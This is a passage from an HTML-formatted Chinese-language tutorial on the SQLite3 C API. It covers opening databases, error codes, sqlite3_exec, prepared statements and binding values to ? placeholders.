class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003esqlite3\u003c/span\u003e \u003cspan class=\"title\"\u003esqlite3\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_open\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e*, sqlite3**)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_open16\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*, sqlite3**)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_close\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *\u003cspan class=\"title function_\"\u003esqlite3_errmsg\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *\u003cspan class=\"title function_\"\u003esqlite3_errmsg16\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_errcode\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003esqlite3_open() 函数返回一个整数错误代码,而不是像第二版中一样返回一个指向sqlite3结构体的指针. sqlite3_open() 和sqlite3_open16() 的不同之处在于sqlite3_open16() 使用UTF-16编码(使用本地主机字节顺序)传递数据库文件名. 如果要创建新数据库, sqlite3_open16() 将内部文本转换为UTF-16编码, 反之sqlite3_open() 将文本转换为UTF-8编码.\u003c/p\u003e\u003cp\u003e打开或者创建数据库的命令会被缓存,直到这个数据库真正被调用的时候才会被执行. 而且允许使用PRAGMA声明来设置如本地文本编码或默认内存页面大小等选项和参数.\u003c/p\u003e\u003cp\u003esqlite3_errcode() 通常用来获取最近调用的API接口返回的错误代码. sqlite3_errmsg() 则用来得到这些错误代码所对应的文字说明. 这些错误信息将以 UTF-8 的编码返回,并且在下一次调用任何SQLite API函数的时候被清除. sqlite3_errmsg16() 和sqlite3_errmsg() 大体上相同,除了返回的错误信息将以 UTF-16 本机字节顺序编码.\u003c/p\u003e\u003cp\u003eSQLite3的错误代码相比SQLite2没有任何的改变,它们分别是:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_OK           0   \u003cspan class=\"comment\"\u003e/* Successful result */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_ERROR        1   \u003cspan class=\"comment\"\u003e/* SQL error or missing database */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_INTERNAL     2   \u003cspan class=\"comment\"\u003e/* An internal logic error in SQLite */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_PERM         3   \u003cspan class=\"comment\"\u003e/* Access permission denied */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_ABORT        4   \u003cspan class=\"comment\"\u003e/* Callback routine requested an abort */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_BUSY         5   \u003cspan class=\"comment\"\u003e/* The database file is locked */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_LOCKED       6   \u003cspan class=\"comment\"\u003e/* A table in the database is locked */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_NOMEM        7   \u003cspan class=\"comment\"\u003e/* A malloc() failed */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_READONLY     8   \u003cspan class=\"comment\"\u003e/* Attempt to write a readonly database */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_INTERRUPT    9   \u003cspan class=\"comment\"\u003e/* Operation terminated by sqlite_interrupt() */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_IOERR       10   \u003cspan class=\"comment\"\u003e/* Some kind of disk I/O error occurred */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_CORRUPT     11   \u003cspan class=\"comment\"\u003e/* The database disk image is malformed */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_NOTFOUND    12   \u003cspan class=\"comment\"\u003e/* (Internal Only) Table or record not found */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_FULL        13   \u003cspan class=\"comment\"\u003e/* Insertion failed because database is full */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_CANTOPEN    14   \u003cspan class=\"comment\"\u003e/* Unable to open the database file */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_PROTOCOL    15   \u003cspan class=\"comment\"\u003e/* Database lock protocol error */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_EMPTY       16   \u003cspan class=\"comment\"\u003e/* (Internal Only) Database table is empty */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_SCHEMA      17   \u003cspan class=\"comment\"\u003e/* The database schema changed */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_TOOBIG      18   \u003cspan class=\"comment\"\u003e/* Too much data for one row of a table */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_CONSTRAINT  19   \u003cspan class=\"comment\"\u003e/* Abort due to contraint violation */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_MISMATCH    20   \u003cspan class=\"comment\"\u003e/* Data type mismatch */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_MISUSE      21   \u003cspan class=\"comment\"\u003e/* Library used incorrectly */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_NOLFS       22   \u003cspan class=\"comment\"\u003e/* Uses OS features not supported on host */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_AUTH        23   \u003cspan class=\"comment\"\u003e/* Authorization denied */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_ROW         100  \u003cspan class=\"comment\"\u003e/* sqlite_step() has another row ready */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SQLITE_DONE        101  \u003cspan class=\"comment\"\u003e/* sqlite_step() has finished executing */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(2)执行 SQL 语句\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"title function_\"\u003eint\u003c/span\u003e \u003cspan class=\"params\"\u003e(*sqlite_callback)\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,\u003cspan class=\"type\"\u003eint\u003c/span\u003e,\u003cspan class=\"type\"\u003echar\u003c/span\u003e**, \u003cspan class=\"type\"\u003echar\u003c/span\u003e**)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_exec\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3*, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *sql, sqlite_callback, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*, \u003cspan class=\"type\"\u003echar\u003c/span\u003e**)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003esqlite3_exec 函数依然像它在SQLite2中一样承担着很多的工作. 该函数的第二个参数中可以编译和执行零个或多个SQL语句. 查询的结果返回给回调函数. 更多地信息可以查看API 参考.\u003c/p\u003e\u003cp\u003e在SQLite3里,sqlite3_exec一般是被准备SQL语句接口封装起来使用的.\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003esqlite3_stmt\u003c/span\u003e \u003cspan class=\"title\"\u003esqlite3_stmt\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_prepare\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3*, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e, sqlite3_stmt**, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e**)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_prepare16\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3*, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e, sqlite3_stmt**, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e**)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_finalize\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_reset\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003esqlite3_prepare 接口把一条SQL语句编译成字节码留给后面的执行函数. 使用该接口访问数据库是当前比较好的的一种方法.\u003c/p\u003e\u003cp\u003esqlite3_prepare() 处理的SQL语句应该是UTF-8编码的. 而sqlite3_prepare16() 则要求是UTF-16编码的. 输入的参数中只有第一个SQL语句会被编译. 第四个参数则用来指向输入参数中下一个需要编译的SQL语句存放的SQLite statement对象的指针,任何时候如果调用 sqlite3_finalize() 将销毁一个准备好的SQL声明. 在数据库关闭之前,所有准备好的声明都必须被释放销毁. sqlite3_reset() 函数用来重置一个SQL声明的状态,使得它可以被再次执行.\u003c/p\u003e\u003cp\u003eSQL声明可以包含一些型如”?” 或 “?nnn” 或 “:aaa”的标记, 其中”nnn” 是一个整数,”aaa” 是一个字符串. 这些标记代表一些不确定的字符值(或者说是通配符),可以在后面用sqlite3_bind 接口来填充这些值. 每一个通配符都被分配了一个编号(由它在SQL声明中的位置决定,从1开始),此外也可以用 “nnn” 来表示 “?nnn” 这种情况. 允许相同的通配符在同一个SQL声明中出现多次, 在这种情况下所有相同的通配符都会被替换成相同的值. 没有被绑定的通配符将自动取NULL值.\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_bind_blob\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e n, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e(*)(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*))\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_bind_double\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003edouble\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_bind_int\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_bind_int64\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003elong\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_bind_null\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_bind_text\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3_stmt*, \u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan 